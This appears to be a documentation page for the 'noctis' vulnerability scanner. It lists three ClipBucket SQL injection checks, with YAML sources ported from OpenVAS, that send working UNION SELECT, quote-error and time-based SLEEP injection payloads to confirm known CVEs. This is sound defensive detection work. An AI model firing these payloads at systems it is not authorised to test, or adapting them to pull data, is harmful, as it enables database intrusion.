ClipBucket — 3 vulnerability checks

noctis ships 3 vulnerability checks for ClipBucket, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ClipBucket SQL Injection (view_page.php pid parameter)

CVECVE-2012-5849
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/clipbucket/CVE-2012-5849.yaml

Detects CVE-2012-5849 by sending a UNION SELECT payload to the view_page.php endpoint and confirming the reflected SQL-Injection-Test marker on a 200 ClipBucket page.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /view_page.php?pid=0%27%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2Cconcat(0x53514c2d496e6…
  2. Checks resp.banner for HTTP/1\.[01] 200[\s\S]*>ClipBucket
  3. Checks resp.banner for SQL-Injection-Test< → finding QoD 75: ClipBucket SQLi confirmed — UNION SELECT payload on view_page.php pid reflected the SQL-Injection-Test marker on a 200 ClipBucket page at ……

References:

Feed source — tests/vulnerabilities/clipbucket/CVE-2012-5849.yaml
# ClipBucket — Multiple SQL Injection (CVE-2012-5849)
#
# ClipBucket is prone to multiple SQL injection vulnerabilities. The `pid`
# parameter of view_page.php is used in an SQL query without sanitisation.
# An unauthenticated attacker injects a UNION SELECT whose output is reflected
# into the page, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_clipbucket_mult_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805388, GPL-2.0-only). The full UNION SELECT request
# line is reproduced verbatim, including the concat(0x53514c2d...) marker column.
# The plugin confirms with check_header:TRUE (HTTP 200), pattern "SQL-Injection-Test<",
# and extra_check ["Login", ">ClipBucket"].
#
# The payload carries URL-encoded tokens (`%27`, `%20`, `%2C`) that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0) and the
# reflected marker is matched on resp.banner.
uid: 0b485e35-f1d9-4a7e-9ab6-4d29c19263af
name: "ClipBucket SQL Injection (view_page.php pid parameter)"
description: |
  Detects CVE-2012-5849 by sending a UNION SELECT payload to the view_page.php endpoint
  and confirming the reflected SQL-Injection-Test marker on a 200 ClipBucket page.
cves: [CVE-2012-5849]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [clipbucket, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5849"
  - "OpenVAS/Greenbone NASL 2015/gb_clipbucket_mult_sql_inj_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.805388, GPL-2.0-only)"

steps:
  # Verbatim NASL request: the FULL UNION SELECT payload including the
  # concat(0x53514c2d...) marker column — not a truncated prefix with a dangling %2.
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /view_page.php?pid=0%27%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2Cconcat(0x53514c2d496e6a656374696f6e2d54657374)%2C7%2C8%2C9%2C10%20--%202 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # NASL check_header:TRUE (HTTP 200) + extra_check ">ClipBucket": confirm the
  # response is a 200 ClipBucket page before trusting the marker.
  - id: fingerprint
    action: match
    source: resp.banner
    pattern: "HTTP/1\\.[01] 200[\\s\\S]*>ClipBucket"
    store_as: fp

  # NASL pattern "SQL-Injection-Test<" — gated on the 200 + fingerprint so a bare
  # ClipBucket page without reflection does not fire.
  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: "SQL-Injection-Test<"
    on_match:
      condition: "fp.matched"
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "ClipBucket SQLi confirmed — UNION SELECT payload on view_page.php pid reflected the SQL-Injection-Test marker on a 200 ClipBucket page at {{target_host}}:{{port}}"

ClipBucket videos.php time parameter SQL injection

CVECVE-2012-6642, CVE-2012-6643, CVE-2012-6644
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/clipbucket/clipbucket-multiple-vulns.yaml

Sends GET /videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test and reports when the response is a 200 containing a MySQL syntax error that reflects the injected marker, showing the `time` parameter reaches the SQL query.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test HTTP/1…
  2. Checks root_resp.banner for (?s)^HTTP/1\.[01] 200.*You have an error in your SQL syntax.*SQL-Inje… → finding QoD 75: SQL error reflecting injected marker at /videos.php: …
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /clipbucket/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-…
  4. Checks sub_resp.banner for (?s)^HTTP/1\.[01] 200.*You have an error in your SQL syntax.*SQL-Inje… → finding QoD 75: SQL error reflecting injected marker at /clipbucket/videos.php: …

References:

Feed source — tests/vulnerabilities/clipbucket/clipbucket-multiple-vulns.yaml
# ClipBucket 2.6 Multiple Vulnerabilities — CVE-2012-6642 / CVE-2012-6643 / CVE-2012-6644
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_clipbucket_mult_vuln.nasl (GPL-2.0-only).
#
# Detection: a single quote (%27) appended to the `time` parameter of
# videos.php reaches the backend SQL query unsanitised; a vulnerable install
# answers 200 with a MySQL syntax error that echoes the injected marker.
# Install dirs probed: "/" and "/clipbucket" (from gb_clipbucket_detect.nasl).
# The payload carries %27, so the request is sent verbatim via tcp_connect.
# QoD 75 — response analysis (content match).
uid: 744439a2-3ccd-4240-8012-c571ac7eb9ad
name: "ClipBucket videos.php time parameter SQL injection (CVE-2012-6642)"
description: |
  Sends GET /videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test
  and reports when the response is a 200 containing a MySQL syntax error that
  reflects the injected marker, showing the `time` parameter reaches the SQL query.
cves: [CVE-2012-6642, CVE-2012-6643, CVE-2012-6644]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [clipbucket, php, sqli, xss, web]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-6642"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-6643"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-6644"
  - "http://packetstormsecurity.org/files/108489"
  - "OpenVAS/Greenbone NVT 2014/gb_clipbucket_mult_vuln.nasl (GPL-2.0-only)"

steps:
  - id: init
    action: set_var
    var_name: sqli_found
    var_value: false

  # ── Install dir "/" ───────────────────────────────────────────────────────
  - id: sqli-root
    action: tcp_connect
    port: "{{port}}"
    send: "GET /videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: root_resp

  - id: sqli-root-match
    action: match
    source: root_resp.banner
    # check_header:TRUE (200) + NASL pattern
    pattern: "(?s)^HTTP/1\\.[01] 200.*You have an error in your SQL syntax.*SQL-Injection-Test"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "SQL error reflecting injected marker at /videos.php: {{root_resp.banner}}"
      set_vars:
        sqli_found: true
      stop: true

  # ── Install dir "/clipbucket" ─────────────────────────────────────────────
  - id: sqli-subdir
    action: tcp_connect
    port: "{{port}}"
    send: "GET /clipbucket/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: sub_resp
    condition: "sqli_found == false"

  - id: sqli-subdir-match
    action: match
    source: sub_resp.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*You have an error in your SQL syntax.*SQL-Injection-Test"
    condition: "sqli_found == false"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "SQL error reflecting injected marker at /clipbucket/videos.php: {{sub_resp.banner}}"
      stop: true

ClipBucket view_item.php item Blind SQL Injection

CVECVE-2015-2102
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/clipbucket/CVE-2015-2102.yaml

ClipBucket 2.7.0.4.v2929 does not sanitise the item parameter of view_item.php before using it in an SQL query, which allows unauthenticated blind SQL injection.

This check reads an item key and a collection id from the site's index page, measures a benign view_item.php request twice, then sends two requests whose item value makes the database sleep for two different random delays. Each reply must be slowed by its delay over the baseline and the longer delay must take measurably longer than the shorter one. The injected condition reads nothing and writes nothing. The site root, /upload and /clipbucket installation paths are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{cb_dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{cb_dir}}/view_item.php?item={{dc.item}}&type=photos&collection={{dc.coll}}
  5. HTTP(S) request GET {{cb_dir}}/view_item.php?item={{dc.item}}&type=photos&collection={{dc.coll}}
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{cb_dir}}/view_item.php?item={{dc.item}}%27%20AND%20SLEEP({{sc.s2}})%20AND%20%27nctq…
  8. HTTP(S) request GET {{cb_dir}}/view_item.php?item={{dc.item}}%27%20AND%20SLEEP({{sc.s1}})%20AND%20%27nctq…
  9. Parses / computes the next value with a Rhai script
  10. Checks tm.found for ^SLEEP$ → finding QoD 75: Time-based SQLi in the item parameter of GET …/view_item.php: item=<key>' AND SLEEP(n) AND 'x'='x delayed the reply by the injected n — bas…

References:

Feed source — tests/vulnerabilities/clipbucket/CVE-2015-2102.yaml
# ClipBucket 2.7.0.4.v2929 — view_item.php 'item' blind SQL injection (CVE-2015-2102)
#
# view_item.php builds its photo lookup from the item request parameter
# without sanitising it, so
#     item=<key>' AND SLEEP(n) AND 'x'='x
# runs an attacker-chosen delay inside the query. The reply carries no query
# output, so the injection is blind and only the reply time shows it.
#
# Source NASL (2015/gb_clipbucket_sql_inj_vuln.nasl) reads an item key and a
# collection id from index.php, then sends SLEEP(5), SLEEP(7), SLEEP(9) and
# requires each reply time within its window. This feed keeps that request
# shape and the discovery of the item/collection from index.php, and adds a
# benign baseline (sent twice, the faster kept), a long then a short random
# SLEEP each within its own window over the baseline, and a >= 2 s gap
# between the two (a tarpit holding every SLEEP-looking request for the same
# time stays clean). SLEEP returns 0 so the lookup simply matches no row;
# nothing is read from or written to the database.
#
# Source: OpenVAS/Greenbone NASL 2015/gb_clipbucket_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.805347, GPL-2.0-only)
uid: a28e0cdc-6097-48c6-aa8e-4affd3dadb52
name: "ClipBucket view_item.php item Blind SQL Injection (CVE-2015-2102)"
description: |
  ClipBucket 2.7.0.4.v2929 does not sanitise the item parameter of
  view_item.php before using it in an SQL query, which allows unauthenticated
  blind SQL injection.

  This check reads an item key and a collection id from the site's index page,
  measures a benign view_item.php request twice, then sends two requests whose
  item value makes the database sleep for two different random delays. Each
  reply must be slowed by its delay over the baseline and the longer delay must
  take measurably longer than the shorter one. The injected condition reads
  nothing and writes nothing. The site root, /upload and /clipbucket
  installation paths are tried.
cves: [CVE-2015-2102]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [clipbucket, sqli, time-based, blind, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-2102"
  - "https://clip-bucket.com/"

steps:
  - id: gen
    action: script
    code: |
      let s1 = rand_int(4, 5);
      #{ s1: s1, s2: s1 + 3 }
    store_as: sc

  # Pre-initialise every stored result a script reads (an undefined var aborts).
  - id: init-idx
    action: set_var
    var_name: idx
    var_value: {status: 0, body: null, duration_ms: 0}
    loop:
      over: ["/upload", "", "/clipbucket", "/clipbucket/upload"]
      var: cb_dir

  - id: init-base1
    action: set_var
    var_name: base1
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-base2
    action: set_var
    var_name: base2
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sl1
    action: set_var
    var_name: sl1
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-sl2
    action: set_var
    var_name: sl2
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: index
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cb_dir}}/index.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    store_as: idx

  - id: discover
    action: script
    code: |
      let b = if type_of(idx.body) == "string" { idx.body } else { "" };
      let it = eregmatch("view_item\\.php\\?item=([0-9a-zA-Z]+)", b);
      let it2 = if type_of(it) == "array" && it.len() > 1 { it[1] } else { "" };
      let co = eregmatch("collection=([0-9]+)", b);
      let co2 = if type_of(co) == "array" && co.len() > 1 { co[1] } else { "" };
      #{ ok: idx.status == 200 && it2 != "" && co2 != "", item: it2, coll: co2 }
    store_as: dc

  - id: baseline-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cb_dir}}/view_item.php?item={{dc.item}}&type=photos&collection={{dc.coll}}"
    condition: "dc.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    store_as: base1

  - id: baseline-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cb_dir}}/view_item.php?item={{dc.item}}&type=photos&collection={{dc.coll}}"
    condition: "dc.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 30
    store_as: base2

  - id: check-baseline
    action: script
    code: |
      let ok = dc.ok && base1.status > 0 && base1.status < 500 && base2.status > 0 && base2.status < 500;
      let d = if base1.duration_ms < base2.duration_ms { base1.duration_ms } else { base2.duration_ms };
      #{ ok: ok && d < 15000, d: d }
    store_as: bl

  # Long delay first, then the short one.
  - id: sleep-long
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cb_dir}}/view_item.php?item={{dc.item}}%27%20AND%20SLEEP({{sc.s2}})%20AND%20%27nctq%27=%27nctq&type=photos&collection={{dc.coll}}"
    condition: "bl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl2

  - id: sleep-short
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cb_dir}}/view_item.php?item={{dc.item}}%27%20AND%20SLEEP({{sc.s1}})%20AND%20%27nctq%27=%27nctq&type=photos&collection={{dc.coll}}"
    condition: "bl.ok && sl2.duration_ms >= bl.d + sc.s2 * 1000 - 1000 && sl2.duration_ms <= bl.d + sc.s2 * 1000 + 4000"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    store_as: sl1

  - id: check-timing
    action: script
    code: |
      let d1 = sl1.duration_ms - bl.d;
      let d2 = sl2.duration_ms - bl.d;
      let w1 = d1 >= sc.s1 * 1000 - 1000 && d1 <= sc.s1 * 1000 + 4000;
      let w2 = d2 >= sc.s2 * 1000 - 1000 && d2 <= sc.s2 * 1000 + 4000;
      let hit = bl.ok && sl1.status < 500 && sl2.status < 500 && w1 && w2 && (d2 - d1) >= 2000;
      #{ hit: hit, found: if hit { "SLEEP" } else { "" } }
    store_as: tm

  - id: report-timing
    action: match
    source: tm.found
    pattern: "^SLEEP$"
    condition: "tm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Time-based SQLi in the item parameter of GET {{cb_dir}}/view_item.php: item=<key>' AND SLEEP(n) AND 'x'='x delayed the reply by the injected n — baseline {{bl.d}} ms, SLEEP({{sc.s1}}) {{sl1.duration_ms}} ms, SLEEP({{sc.s2}}) {{sl2.duration_ms}} ms"
        remediation: "Update ClipBucket to a version later than 2.7.0.4.v2929, which sanitises the item parameter."
      stop: true

View these feeds on GitHub